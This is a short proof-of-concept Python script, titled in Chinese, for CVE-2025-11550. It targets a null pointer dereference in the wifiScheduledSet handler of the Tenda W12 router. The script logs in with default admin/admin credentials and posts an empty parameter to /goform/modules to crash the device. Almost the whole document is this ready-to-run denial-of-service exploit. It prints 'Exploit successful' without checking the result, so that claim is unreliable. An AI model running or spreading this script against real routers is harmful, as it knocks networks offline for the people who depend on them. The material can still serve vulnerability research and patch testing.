CVE-2025-11550：Tenda W12路由器wifiScheduledSet空指针解引用漏洞

# CVE-2025-11550 PoC - Tenda W12 Null Pointer Dereference # Vulnerability: Null Pointer Dereference in wifiScheduledSet function # Affected: Tenda W12 3.0.0.6(3948) # File: /goform/modules import requests # Target device configuration TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/modules" # Authentication credentials (low privilege required) # Use default or known credentials USERNAME = "admin" PASSWORD = "admin" def exploit(): """ Trigger null pointer dereference by sending crafted wifiScheduledSet parameter. The manipulation of the wifiScheduledSet argument causes the device to crash. """ session = requests.Session() # Step 1: Login to the router (low privilege access) login_url = f"http://{TARGET_IP}:{TARGET_PORT}/login/Auth" login_data = { "username": USERNAME, "password": PASSWORD } try: session.post(login_url, data=login_data, timeout=5) except Exception as e: print(f"Login attempt: {e}") # Step 2: Send crafted request to trigger null pointer dereference # The wifiScheduledSet parameter is manipulated to cause NULL dereference payload = { "module": "wifi", "wifiScheduledSet": "" # Empty or malformed value triggers the bug } try: response = session.post( TARGET_URL, data=payload, timeout=10, headers={"Content-Type": "application/x-www-form-urlencoded"} ) print(f"Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (device may have crashed): {e}") print("Exploit successful - device likely crashed due to NULL pointer dereference") if __name__ == "__main__": exploit()